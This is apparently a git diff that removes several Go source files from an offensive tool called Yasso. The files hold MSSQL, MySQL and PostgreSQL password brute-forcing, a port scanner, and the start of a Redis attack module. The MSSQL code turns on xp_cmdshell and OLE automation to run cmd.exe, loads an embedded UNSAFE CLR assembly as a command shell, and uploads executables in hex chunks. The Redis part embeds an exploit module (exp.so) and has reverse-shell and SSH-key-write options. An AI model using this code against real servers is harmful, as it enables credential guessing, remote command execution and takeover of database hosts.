|
||||
}
|
||||
if BruteFlag == true {
|
||||
users, pass := ReadTextToDic("mssql", UserDic, PassDic)
|
||||
Println("[*] Brute Module [mssql]")
|
||||
Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips)))
|
||||
SwitchBurp("mssql", users, pass, ips, BrutePort, Runtime, TimeDuration, "")
|
||||
} else {
|
||||
Println("[*] May be you want to brute? try to add --crack")
|
||||
}
|
||||
}
|
||||
if Hosts == "" && ConnHost != "" && LoginUser != "" && LoginPass != "" {
|
||||
|
||||
db, status, err := MssqlConn(config.HostIn{Host: ConnHost, Port: BrutePort, TimeOut: TimeDuration}, LoginUser, LoginPass)
|
||||
if err != nil {
|
||||
Println(fmt.Sprintf("[!] Login mssql failed %v", err))
|
||||
return
|
||||
}
|
||||
if db != nil && status == true {
|
||||
conn.Setting(db)
|
||||
switch {
|
||||
case UnWarSQLKit > 0 && UnWarSQLKit <= 2:
|
||||
conn.Uninstall_clr(UnWarSQLKit)
|
||||
case InWarSQLKit > 0 && InWarSQLKit <= 2:
|
||||
conn.Install_clr(InWarSQLKit)
|
||||
case SQLCommand != "":
|
||||
if ExecuteMethod == 1 {
|
||||
Println("[+] Execute Method: xp_cmdshell")
|
||||
conn.xp_shell(SQLCommand)
|
||||
} else if ExecuteMethod == 2 {
|
||||
Println("[+] Execute Method: ole echo")
|
||||
conn.sp_shell(SQLCommand)
|
||||
}
|
||||
case HelpWarSQLKit > 0 && HelpWarSQLKit <= 2:
|
||||
WarSQLKitHelp(HelpWarSQLKit)
|
||||
case len(UploadFile) == 1:
|
||||
filelist := strings.Split(UploadFile[0], ",")
|
||||
if len(filelist) == 2 {
|
||||
conn.UploadFile(filelist[0], filelist[1])
|
||||
} else {
|
||||
Println("[!] upload file only need 2 params")
|
||||
}
|
||||
break
|
||||
case WarSQLKitCommand != "":
|
||||
conn.WarSQLKitShell(WarSQLKitCommand)
|
||||
case WarSQLCommand != "":
|
||||
r, err := SQLExecute(conn.Conn, WarSQLCommand)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
for i, s := range r.Rows {
|
||||
Println(s[i])
|
||||
}
|
||||
default:
|
||||
conn.UnSetting()
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
//go:embed static/WarSQLKit.dll
|
||||
var WarSQLKitName []byte
|
||||
|
||||
//go:embed static/SharpSQLKit.txt
|
||||
var SharpSQLKit string
|
||||
|
||||
type setting struct {
|
||||
Conn *sql.DB
|
||||
Command string
|
||||
}
|
||||
|
||||
func MssqlConn(info config.HostIn, user, pass string) (*sql.DB, bool, error) {
|
||||
var flag = false
|
||||
db, err := sql.Open("mssql", fmt.Sprintf("sqlserver://%v:%v@%v:%v/?connection&timeout=%v&encrypt=disable", user, pass, info.Host, info.Port, info.TimeOut))
|
||||
if err == nil {
|
||||
db.SetConnMaxLifetime(time.Duration(info.TimeOut))
|
||||
db.SetConnMaxIdleTime(time.Duration(info.TimeOut))
|
||||
db.SetMaxIdleConns(0)
|
||||
err = db.Ping()
|
||||
if err == nil {
|
||||
flag = true
|
||||
return db, flag, nil
|
||||
}
|
||||
}
|
||||
|
||||
return db, flag, err
|
||||
}
|
||||
|
||||
// 设置数据库连接
|
||||
|
||||
func (s *setting) Setting(conn *sql.DB) {
|
||||
s.Conn = conn
|
||||
}
|
||||
|
||||
func (s *setting) check_configuration(option string, value int) bool {
|
||||
var Command = fmt.Sprintf(`SELECT cast(value as INT) as b FROM sys.configurations where name = '%s';`, option)
|
||||
r, err := SQLExecute(s.Conn, Command)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
if len(r.Rows) == 1 && r.Rows[0][0] == strconv.Itoa(value) {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func (s *setting) set_configuration(option string, value int) bool {
|
||||
// 设置
|
||||
var Command = fmt.Sprintf("exec master.dbo.sp_configure '%v','%v';RECONFIGURE;", option, value)
|
||||
_, err := SQLExecute(s.Conn, Command)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return s.check_configuration(option, value)
|
||||
}
|
||||
|
||||
func (s *setting) set_permission_set() bool {
|
||||
var Command = fmt.Sprintf("ALTER DATABASE master SET TRUSTWORTHY ON;")
|
||||
Println("[+] ALTER DATABASE master SET TRUSTWORTHY ON")
|
||||
_, err := SQLExecute(s.Conn, Command)
|
||||
if err != nil {
|
||||
Println("[!] ALTER DATABASE master SET TRUSTWORTHY ON Failed")
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// 启用xp_cmdshell
|
||||
|
||||
func (s *setting) Enable_xp_cmdshell() bool {
|
||||
if !s.set_configuration("show advanced options", 1) {
|
||||
Println("[!] cannot ebable 'show advanced options'")
|
||||
return false
|
||||
}
|
||||
if !s.set_configuration("xp_cmdshell", 1) {
|
||||
Println("[!] cannot enable 'xp_cmdshell'")
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// 关闭xp_cmdshell
|
||||
|
||||
func (s *setting) Disable_xp_cmdshell() bool {
|
||||
if !s.set_configuration("show advanced options", 1) {
|
||||
Println("[!] cannot enable 'show advanced options'")
|
||||
return false
|
||||
}
|
||||
if !s.set_configuration("xp_cmdshell", 0) {
|
||||
Println("[!] cannot disable 'xp_cmdshell'")
|
||||
return false
|
||||
}
|
||||
if !s.set_configuration("show advanced options", 0) {
|
||||
Println("[!] cannot disable 'show advanced options'")
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func (s *setting) Enable_ole() bool {
|
||||
if !s.set_configuration("show advanced options", 1) {
|
||||
Println("[!] cannot enable 'show advanced options'")
|
||||
return false
|
||||
}
|
||||
if !s.set_configuration("Ole Automation Procedures", 1) {
|
||||
Println("[!] cannot enable 'Ole Automation Procedures'")
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func (s *setting) Disable_ole() bool {
|
||||
if !s.set_configuration("show advanced options", 1) {
|
||||
Println("[!] cannot enable 'show advanced options'")
|
||||
return false
|
||||
}
|
||||
if !s.set_configuration("Ole Automation Procedures", 0) {
|
||||
Println("[!] cannot disable 'Ole Automation Procedures'")
|
||||
return false
|
||||
}
|
||||
if !s.set_configuration("show advanced options", 0) {
|
||||
Println("[!] cannot disable 'show advanced options'")
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func (s *setting) sp_shell(Command string) bool {
|
||||
if s.check_configuration("Ole Automation Procedures", 0) && !s.Enable_ole() {
|
||||
return false
|
||||
}
|
||||
var sqlstr = fmt.Sprintf(`declare @shell int,@exec int,@text int,@str varchar(8000)
|
||||
exec sp_oacreate 'wscript.shell',@shell output
|
||||
exec sp_oamethod @shell,'exec',@exec output,'c:\windows\system32\cmd.exe /c %v'
|
||||
exec sp_oamethod @exec, 'StdOut', @text out;
|
||||
exec sp_oamethod @text, 'ReadAll', @str out
|
||||
select @str`, Command)
|
||||
Println(fmt.Sprintf("[+] Command: %v", Command))
|
||||
r, err := SQLExecute(s.Conn, sqlstr)
|
||||
if err != nil {
|
||||
Println(fmt.Sprintf("[!] exec ole command failed %v", err))
|
||||
return false
|
||||
}
|
||||
for i, b := range r.Rows {
|
||||
Println(b[i])
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func (s *setting) xp_shell(Command string) bool {
|
||||
|
||||
if s.set_configuration("xp_cmdshell", 0) && !s.Enable_xp_cmdshell() {
|
||||
return false
|
||||
}
|
||||
Println(fmt.Sprintf("[+] Command: %v", Command))
|
||||
var sqlstr = fmt.Sprintf("exec master..xp_cmdshell '%v'", Command)
|
||||
r, err := SQLExecute(s.Conn, sqlstr)
|
||||
if err != nil {
|
||||
Println(fmt.Sprintf("[!] exec xp_cmdshell command failed %v", err))
|
||||
return false
|
||||
}
|
||||
for _, b := range r.Rows {
|
||||
Println(b[0])
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func WarSQLKitToHex() string {
|
||||
return hex.EncodeToString(WarSQLKitName)
|
||||
}
|
||||
|
||||
func (s *setting) CREATE_ASSEMBLY(flag int) bool {
|
||||
var KitHex string
|
||||
|
||||
if flag == 1 {
|
||||
Println("[+] SQLKit ==> WarSQLKit")
|
||||
KitHex = WarSQLKitToHex()
|
||||
} else if flag == 2 {
|
||||
Println("[+] SQLKit ==> SharpSQLKit")
|
||||
KitHex = SharpSQLKit
|
||||
}
|
||||
var Command = fmt.Sprintf(`CREATE ASSEMBLY [CLR_module]
|
||||
AUTHORIZATION [dbo]
|
||||
FROM 0x%s
|
||||
WITH PERMISSION_SET = UNSAFE;`, KitHex)
|
||||
_, err := SQLExecute(s.Conn, Command)
|
||||
if err != nil {
|
||||
Println(fmt.Sprintf("[!] Import the assembly failed %v", err))
|
||||
return false
|
||||
}
|
||||
Println("[+] Import the assembly")
|
||||
return true
|
||||
}
|
||||
|
||||
func (s *setting) CREATE_PROCEDURE(flag int) bool {
|
||||
var Command string
|
||||
if flag == 1 {
|
||||
Command = fmt.Sprintf(`CREATE PROCEDURE [dbo].[sp_cmdExec] @cmd NVARCHAR (MAX), @result NVARCHAR (MAX) OUTPUT AS EXTERNAL NAME [CLR_module].[StoredProcedures].[CmdExec];`)
|
||||
} else if flag == 2 {
|
||||
Command = fmt.Sprintf(`CREATE PROCEDURE [dbo].[ClrExec]
|
||||
@cmd NVARCHAR (MAX)
|
||||
AS EXTERNAL NAME [CLR_module].[StoredProcedures].[ClrExec]`)
|
||||
}
|
||||
_, err := SQLExecute(s.Conn, Command)
|
||||
if err != nil {
|
||||
Println(fmt.Sprintf("[!] Link the assembly to a stored procedure failed %v", err))
|
||||
return false
|
||||
}
|
||||
Println("[+] Link the assembly to a stored procedure")
|
||||
return true
|
||||
}
|
||||
|
||||
func (s *setting) Install_clr(flag int) bool {
|
||||
if !s.set_permission_set() {
|
||||
return false
|
||||
}
|
||||
if !s.CREATE_ASSEMBLY(flag) {
|
||||
return false
|
||||
}
|
||||
if !s.CREATE_PROCEDURE(flag) {
|
||||
return false
|
||||
}
|
||||
Println("[+] Install SQLKit successful!")
|
||||
Println("[+] Please Use SQL Connect Tools to Execute")
|
||||
Println("[+] WarSQLKit Command Help --kithelp [1,2]")
|
||||
return true
|
||||
}
|
||||
|
||||
func (s *setting) Uninstall_clr(flag int) bool {
|
||||
var Command string
|
||||
if flag == 1 {
|
||||
Println("[+] SQLKit ==> WarSQLKit")
|
||||
Command = fmt.Sprintf(`drop PROCEDURE dbo.sp_cmdExec
|
||||
drop assembly CLR_module`)
|
||||
} else if flag == 2 {
|
||||
Println("[+] SQLKit ==> SharpSQLKit")
|
||||
Command = fmt.Sprintf(`drop PROCEDURE dbo.ClrExec
|
||||
drop assembly CLR_module`)
|
||||
}
|
||||
_, err := SQLExecute(s.Conn, Command)
|
||||
if err != nil {
|
||||
Println(fmt.Sprintf("[!] Uninstall SQLKit failed %v", err))
|
||||
return false
|
||||
}
|
||||
Println("[+] Uninstall SQLKit successful!")
|
||||
return true
|
||||
}
|
||||
|
||||
func ReadFileToSplitHex(path string, splitLength int) []string {
|
||||
data, err := ioutil.ReadFile(path)
|
||||
if err != nil {
|
||||
|
||||
return []string{}
|
||||
}
|
||||
HexData := hex.EncodeToString(data)
|
||||
var hexList []string
|
||||
num := int(math.Ceil(float64(len(HexData) / splitLength)))
|
||||
for i := 0; i < num; i++ {
|
||||
hexList = append(hexList, HexData[i*splitLength:(i+1)*splitLength])
|
||||
}
|
||||
hexList = append(hexList, HexData[num*splitLength:])
|
||||
// 返回分割好的list
|
||||
return hexList
|
||||
}
|
||||
|
||||
func (s *setting) UploadFile(source, dest string) {
|
||||
Println(fmt.Sprintf("[+] Ole Upload File %s to %s", source, dest))
|
||||
if s.set_configuration("Ole Automation Procedures", 0) && !s.Enable_ole() {
|
||||
Println("[!] setting Ole Automation or enable Ole failed")
|
||||
return
|
||||
}
|
||||
var copyCommand = `copy /b`
|
||||
var splitLength = 250000
|
||||
Hexlist := ReadFileToSplitHex(source, splitLength)
|
||||
bar := pb.StartNew(len(Hexlist))
|
||||
|
||||
for i, body := range Hexlist {
|
||||
var text2 = fmt.Sprintf("%v_%v.config_txt", dest, i)
|
||||
var sqlstr = fmt.Sprintf(`DECLARE @ObjectToken INT
|
||||
EXEC sp_OACreate 'ADODB.Stream', @ObjectToken OUTPUT
|
||||
EXEC sp_OASetProperty @ObjectToken, 'Type', 1
|
||||
EXEC sp_OAMethod @ObjectToken, 'Open'
|
||||
EXEC sp_OAMethod @ObjectToken, 'Write', NULL, 0x%s
|
||||
EXEC sp_OAMethod @ObjectToken, 'SaveToFile', NULL,'%s', 2
|
||||
EXEC sp_OAMethod @ObjectToken, 'Close'
|
||||
EXEC sp_OADestroy @ObjectToken`, body, text2)
|
||||
_, err := SQLExecute(s.Conn, sqlstr)
|
||||
if err != nil {
|
||||
Println(fmt.Sprintf("\n[!] %s_%v.config_txt Error Uploading", dest, i))
|
||||
return
|
||||
}
|
||||
if i == 0 {
|
||||
copyCommand = copyCommand + ` "` + text2 + `"`
|
||||
} else {
|
||||
copyCommand = copyCommand + " +" + ` "` + text2 + `"`
|
||||
}
|
||||
time.Sleep(1000 * time.Millisecond)
|
||||
if s.File_Exists(text2, 1) {
|
||||
bar.Increment()
|
||||
//Println()(fmt.Sprintf("[+] %s_%v.config_txt Upload completed",dest,i))
|
||||
} else {
|
||||
Println(fmt.Sprintf("\n[!] %s_%v.config_txt Error Uploading", dest, i))
|
||||
return
|
||||
}
|
||||
}
|
||||
copyCommand = copyCommand + ` "` + dest + `"`
|
||||
var shell = fmt.Sprintf(`
|
||||
DECLARE @SHELL INT
|
||||
EXEC sp_oacreate 'wscript.shell', @SHELL OUTPUT
|
||||
EXEC sp_oamethod @SHELL, 'run' , NULL, 'c:\windows\system32\cmd.exe /c`)
|
||||
_, err := SQLExecute(s.Conn, shell+copyCommand+"'")
|
||||
if err != nil {
|
||||
Println(fmt.Sprintf("%v", err))
|
||||
return
|
||||
}
|
||||
Println("\n[+] copy file success")
|
||||
time.Sleep(1000 * time.Millisecond)
|
||||
if s.File_Exists(dest, 1) {
|
||||
sqlstr := shell + fmt.Sprintf(`del %s*.config_txt`, dest) + "'"
|
||||
_, err := SQLExecute(s.Conn, sqlstr)
|
||||
if err != nil {
|
||||
Println(fmt.Sprintf("[!] del file failed %v", err))
|
||||
return
|
||||
}
|
||||
Println(fmt.Sprintf("\n[+] %s Upload completed", source))
|
||||
}
|
||||
}
|
||||
|
||||
func (s *setting) File_Exists(path string, value int) bool {
|
||||
var Command = fmt.Sprintf(`
|
||||
DECLARE @r INT
|
||||
EXEC master.dbo.xp_fileexist '%v', @r OUTPUT
|
||||
SELECT @r as n`, path)
|
||||
r, err := SQLExecute(s.Conn, Command)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
if len(r.Rows) == 1 && r.Rows[0][0] == strconv.Itoa(value) {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func WarSQLKitHelp(flag int) {
|
||||
table := tablewriter.NewWriter(os.Stdout)
|
||||
table.SetHeader([]string{"SQL Command", "Introduce"})
|
||||
table.SetRowLine(true)
|
||||
var help [][]string
|
||||
if flag == 1 {
|
||||
help = config.WarKitHelp
|
||||
} else if flag == 2 {
|
||||
help = config.SharpKitHelp
|
||||
}
|
||||
for _, v := range help {
|
||||
table.Append(v)
|
||||
}
|
||||
table.Render()
|
||||
}
|
||||
|
||||
func (s *setting) UnSetting() {
|
||||
s.Conn = nil
|
||||
}
|
||||
|
||||
func (s *setting) WarSQLKitShell(cld string) {
|
||||
var Command = fmt.Sprintf(`declare @shell varchar(8000);
|
||||
EXEC sp_cmdExec '%v' ,@shell output
|
||||
select @shell`, cld)
|
||||
r, err := SQLExecute(s.Conn, Command)
|
||||
if err != nil {
|
||||
Println(fmt.Sprintf("[!] %v", err))
|
||||
return
|
||||
}
|
||||
for i, s := range r.Rows {
|
||||
Println(s[i])
|
||||
}
|
||||
}
|
||||
|
||||
func Test() {
|
||||
db, status, err := MssqlConn(config.HostIn{Host: "192.168.248.128", Port: 1433, TimeOut: 1 * time.Second}, "sa", "admin@123")
|
||||
if status == true && err == nil {
|
||||
conn := new(setting)
|
||||
conn.Setting(db)
|
||||
conn.UploadFile(`C:\Users\Administrator\Desktop\fscan64.exe`, `1.exe`)
|
||||
}
|
||||
}
|
||||
112
cmd/mysql.go
112
cmd/mysql.go
@@ -1,112 +0,0 @@
|
||||
package cmd
|
||||
|
||||
import (
|
||||
"Yasso/config"
|
||||
"context"
|
||||
"database/sql"
|
||||
"fmt"
|
||||
_ "github.com/denisenkom/go-mssqldb"
|
||||
"github.com/go-sql-driver/mysql"
|
||||
_ "github.com/go-sql-driver/mysql"
|
||||
_ "github.com/lib/pq"
|
||||
"github.com/spf13/cobra"
|
||||
"net"
|
||||
"time"
|
||||
)
|
||||
|
||||
var MysqlCmd = &cobra.Command{
|
||||
Use: "mysql",
|
||||
Short: "MYSQL burst module and extend tools (support proxy)",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
if Hosts == "" && ConnHost == "" {
|
||||
_ = cmd.Help()
|
||||
} else {
|
||||
BruteMysqlByUser()
|
||||
}
|
||||
},
|
||||
}
|
||||
|
||||
func BruteMysqlByUser() {
|
||||
if BrutePort == 0 {
|
||||
BrutePort = 3306
|
||||
}
|
||||
var ips []string
|
||||
var err error
|
||||
if Hosts != "" && ConnHost == "" {
|
||||
ips, err = ResolveIPS(Hosts)
|
||||
if err != nil {
|
||||
Println(fmt.Sprintf("resolve hosts address failed %v", err))
|
||||
return
|
||||
}
|
||||
if BruteFlag == true {
|
||||
users, pass := ReadTextToDic("mysql", UserDic, PassDic)
|
||||
Println("[*] Brute Module [mysql]")
|
||||
Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips)))
|
||||
SwitchBurp("mysql", users, pass, ips, BrutePort, Runtime, TimeDuration, "")
|
||||
} else {
|
||||
Println("[*] May be you want to brute? try to add --crack")
|
||||
}
|
||||
}
|
||||
if Hosts == "" && ConnHost != "" {
|
||||
if SQLCommand == "" && SQLShellBool == false {
|
||||
Println("[*] try to add -C to exec sql command or -shell")
|
||||
return
|
||||
}
|
||||
if SQLCommand != "" && SQLShellBool == false {
|
||||
db, status, err := MySQLConn(config.HostIn{Host: ConnHost, Port: BrutePort, TimeOut: TimeDuration}, LoginUser, LoginPass)
|
||||
if err != nil {
|
||||
Println("mysql conn failed")
|
||||
return
|
||||
}
|
||||
if status == true {
|
||||
r, err := SQLExecute(db, SQLCommand)
|
||||
if err != nil {
|
||||
Println(fmt.Sprintf("sql execute failed %v", err))
|
||||
return
|
||||
}
|
||||
Println(r.String())
|
||||
}
|
||||
}
|
||||
if SQLCommand == "" && SQLShellBool == true {
|
||||
db, status, err := MySQLConn(config.HostIn{Host: ConnHost, Port: BrutePort, TimeOut: TimeDuration}, LoginUser, LoginPass)
|
||||
if err != nil {
|
||||
Println("mysql conn failed")
|
||||
return
|
||||
}
|
||||
if status == true {
|
||||
SQLshell(db, "mysql")
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func init() {
|
||||
MysqlCmd.Flags().StringVarP(&SQLCommand, "cmd", "c", "", "mysql sql command")
|
||||
MysqlCmd.Flags().StringVar(&ConnHost, "hostname", "", "Remote Connect a Mysql (brute param need false)")
|
||||
MysqlCmd.Flags().StringVar(&LoginUser, "user", "", "Login ssh username")
|
||||
MysqlCmd.Flags().StringVar(&LoginPass, "pass", "", "Login ssh password")
|
||||
MysqlCmd.Flags().BoolVar(&SQLShellBool, "shell", false, "create sql shell to exec sql command")
|
||||
}
|
||||
|
||||
// mysql 连接
|
||||
|
||||
func MySQLConn(info config.HostIn, user, pass string) (*sql.DB, bool, error) {
|
||||
var flag = false
|
||||
address := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", user, pass, info.Host, info.Port, time.Duration(info.TimeOut))
|
||||
|
||||
mysql.RegisterDialContext("tcp", func(ctx context.Context, network string) (net.Conn, error) {
|
||||
return GetConn(network, info.TimeOut)
|
||||
})
|
||||
|
||||
db, err := sql.Open("mysql", address)
|
||||
if err == nil {
|
||||
db.SetConnMaxLifetime(time.Duration(info.TimeOut))
|
||||
db.SetConnMaxIdleTime(time.Duration(info.TimeOut))
|
||||
//defer db.Close()
|
||||
err = db.Ping()
|
||||
if err == nil {
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
return db, flag, err
|
||||
}
|
||||
@@ -1,59 +0,0 @@
|
||||
package cmd
|
||||
|
||||
import (
|
||||
"Yasso/config"
|
||||
"database/sql"
|
||||
"fmt"
|
||||
_ "github.com/lib/pq"
|
||||
"github.com/spf13/cobra"
|
||||
"time"
|
||||
)
|
||||
|
||||
var PostgreCmd = &cobra.Command{
|
||||
Use: "postgres",
|
||||
Short: "PostgreSQL burst module (not support proxy)",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
if Hosts == "" {
|
||||
_ = cmd.Help()
|
||||
} else {
|
||||
BrutePostgreByUser()
|
||||
}
|
||||
},
|
||||
}
|
||||
|
||||
func BrutePostgreByUser() {
|
||||
if BrutePort == 0 {
|
||||
BrutePort = 5432
|
||||
}
|
||||
var ips []string
|
||||
var err error
|
||||
if Hosts != "" {
|
||||
ips, err = ResolveIPS(Hosts)
|
||||
if err != nil {
|
||||
Println(fmt.Sprintf("resolve hosts address failed %v", err))
|
||||
return
|
||||
}
|
||||
if BruteFlag == true {
|
||||
users, pass := ReadTextToDic("postgres", UserDic, PassDic)
|
||||
Println("[*] Brute Module [postgres]")
|
||||
Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips)))
|
||||
SwitchBurp("postgres", users, pass, ips, BrutePort, Runtime, TimeDuration, "")
|
||||
} else {
|
||||
Println("[*] May be you want to brute? try to add --crack")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func PostgreConn(info config.HostIn, user, pass string) (bool, error) {
|
||||
var flag = false
|
||||
db, err := sql.Open("postgres", fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", user, pass, info.Host, info.Port, "postgres", "disable"))
|
||||
if err == nil {
|
||||
db.SetConnMaxLifetime(time.Duration(info.TimeOut))
|
||||
defer db.Close()
|
||||
err = db.Ping()
|
||||
if err == nil {
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
return flag, err
|
||||
}
|
||||
153
cmd/ps.go
153
cmd/ps.go
@@ -1,153 +0,0 @@
|
||||
package cmd
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/panjf2000/ants/v2"
|
||||
"github.com/spf13/cobra"
|
||||
"math"
|
||||
"net"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
DefaultPorts = "21,22,80,81,135,139,443,445,1433,3306,5432,5985,6379,7001,3389,8000,8080,8089,9000,9200,11211,27017"
|
||||
//AlivePort []PortResult
|
||||
)
|
||||
|
||||
type PortResult struct {
|
||||
IP string
|
||||
Port []int
|
||||
}
|
||||
|
||||
var PortCmd = &cobra.Command{
|
||||
Use: "ps",
|
||||
Short: "The port scanning module will find vulnerable ports (not support proxy)",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
if Hosts == "" {
|
||||
_ = cmd.Help()
|
||||
return
|
||||
}
|
||||
var ports []int
|
||||
hosts, _ := ResolveIPS(Hosts) // 解析获取ip地址
|
||||
if Ports != "" {
|
||||
ports, _ = ResolvePORTS(Ports)
|
||||
} else {
|
||||
ports, _ = ResolvePORTS(DefaultPorts)
|
||||
}
|
||||
Println(fmt.Sprintf("Yasso resolve host len is %v,need scan %v port", len(hosts), len(hosts)*len(ports)))
|
||||
if len(hosts) <= 0 || len(ports) <= 0 {
|
||||
// resolve failed
|
||||
return
|
||||
}
|
||||
var AlivePort []PortResult
|
||||
AlivePort = PortScan(hosts, ports)
|
||||
for _, rs := range AlivePort {
|
||||
Println(fmt.Sprintf("%v %v", rs.IP, rs.Port))
|
||||
}
|
||||
},
|
||||
}
|
||||
|
||||
func init() {
|
||||
PortCmd.Flags().DurationVarP(&TimeDuration, "time", "t", 500*time.Millisecond, "Set timeout (eg.) -t 50ms(ns,ms,s,m,h)")
|
||||
PortCmd.Flags().StringVarP(&Hosts, "hosts", "H", "", "Set `Set `hosts`(The format is similar to Nmap) or ips.txt file path")
|
||||
PortCmd.Flags().StringVarP(&Ports, "ports", "p", "", "Set `ports`(The format is similar to Nmap)(eg.) 1-2000,3389")
|
||||
PortCmd.Flags().IntVarP(&Runtime, "runtime", "r", 100, "Set scanner ants pool thread")
|
||||
rootCmd.AddCommand(PortCmd)
|
||||
}
|
||||
|
||||
// port scanner
|
||||
|
||||
func PortScan(host []string, ports []int) []PortResult {
|
||||
var tempPort []PortResult
|
||||
var wg sync.WaitGroup
|
||||
|
||||
p, _ := ants.NewPoolWithFunc(len(host), func(ip interface{}) {
|
||||
_ = ants.Submit(func() {
|
||||
aport := EachScan(ip.(string), ports)
|
||||
//Println()(aport)
|
||||
if len(aport) != 0 {
|
||||
// 扫描完成,加入扫描结果队列
|
||||
tempPort = append(tempPort, PortResult{ip.(string), aport})
|
||||
} // 将ip赋值给AlivePort*/
|
||||
wg.Done()
|
||||
})
|
||||
})
|
||||
for _, ip := range host {
|
||||
if strings.Contains(ip, ":") {
|
||||
addr := strings.Split(ip, ":")[0]
|
||||
port, _ := strconv.Atoi(strings.Split(ip, ":")[1])
|
||||
if portConn(addr, port) {
|
||||
Println(fmt.Sprintf("[+] %v %v open", addr, port))
|
||||
tempPort = append(tempPort, PortResult{addr, []int{port}})
|
||||
}
|
||||
} else {
|
||||
wg.Add(1)
|
||||
_ = p.Invoke(ip)
|
||||
}
|
||||
}
|
||||
wg.Wait()
|
||||
return tempPort
|
||||
}
|
||||
|
||||
func EachScan(host string, ports []int) []int {
|
||||
var aport []int
|
||||
var wg sync.WaitGroup
|
||||
// 计算一个协程需要扫描多少端口
|
||||
var thread int
|
||||
// 如果端口数小于协程数量,thread为端口数量
|
||||
if len(ports) <= Runtime {
|
||||
thread = len(ports)
|
||||
} else {
|
||||
// 计算端口数量
|
||||
thread = Runtime // 协程数量
|
||||
}
|
||||
num := int(math.Ceil(float64(len(ports)) / float64(thread))) // 每个协程的端口数量
|
||||
|
||||
// 分割端口
|
||||
all := map[int][]int{}
|
||||
for i := 1; i <= thread; i++ {
|
||||
for j := 0; j < num; j++ {
|
||||
tmp := (i-1)*num + j
|
||||
if tmp < len(ports) {
|
||||
all[i] = append(all[i], ports[tmp])
|
||||
}
|
||||
}
|
||||
}
|
||||
//Println()(all)
|
||||
|
||||
for i := 1; i <= thread; i++ {
|
||||
wg.Add(1)
|
||||
tmp := all[i]
|
||||
_ = ants.Submit(func() {
|
||||
// 1,2 2,3
|
||||
//Println()(i,thread)
|
||||
for _, port := range tmp {
|
||||
// 遍历每一个端口列表
|
||||
if portConn(host, port) {
|
||||
aport = append(aport, port) // 端口返回true,开放,加入aport列表
|
||||
Println(fmt.Sprintf("[+] %v %v open", host, port))
|
||||
}
|
||||
}
|
||||
wg.Done()
|
||||
})
|
||||
}
|
||||
wg.Wait()
|
||||
return aport
|
||||
}
|
||||
|
||||
func portConn(addr string, port int) bool {
|
||||
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%v", addr, port), TimeDuration)
|
||||
defer func() {
|
||||
if conn != nil {
|
||||
_ = conn.Close()
|
||||
}
|
||||
}()
|
||||
if err == nil {
|
||||
return true
|
||||
} else {
|
||||
return false
|
||||
}
|
||||
}
|
||||
681
cmd/redis.go
681
cmd/redis.go
@@ -1,681 +0,0 @@
|
||||
package cmd
|
||||
|
||||
// redis 6379 端口
|
||||
import (
|
||||
"Yasso/config"
|
||||
"bufio"
|
||||
"context"
|
||||
_ "embed"
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/go-redis/redis/v8"
|
||||
"github.com/spf13/cobra"
|
||||
"io"
|
||||
"net"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
//go:embed static/exp.so
|
||||
var payload []byte
|
||||
|
||||
var RedisCmd = &cobra.Command{
|
||||
Use: "redis",
|
||||
Short: "Redis burst and Redis extend tools (support proxy)",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
if Hosts == "" && ConnHost == "" {
|
||||
_ = cmd.Help()
|
||||
} else {
|
||||
BruteRedisByUser()
|
||||
}
|
||||
},
|
||||
}
|
||||
var (
|
||||
RemoteHost string
|
||||
RemotePublicKey string
|
||||
LocalHost string
|
||||
LocalPort int
|
||||
RemoteSoPath string
|
||||
IsRCE bool
|
||||
RedisRCEMethod string
|
||||
)
|
||||
|
||||
func init() {
|
||||
RedisCmd.Flags().StringVar(&RemotePublicKey, "rekey", "", "Write public key to Redis (eg.) id_rsa.pub")
|
||||
RedisCmd.Flags().StringVar(&RemoteHost, "rebound", "", "Rebound shell address (eg.) 192.168.1.1:4444")
|
||||
RedisCmd.Flags().StringVar(&ConnHost, "hostname", "", "Redis will connect this address")
|
||||
RedisCmd.Flags().StringVar(&LoginPass, "pass", "", "set login pass")
|
||||
RedisCmd.Flags().StringVar(&SQLCommand, "sql", "", "Execute redis sql command")
|
||||
RedisCmd.Flags().StringVar(&LocalHost, "lhost", "", "set local listen host (target redis need connect)")
|
||||
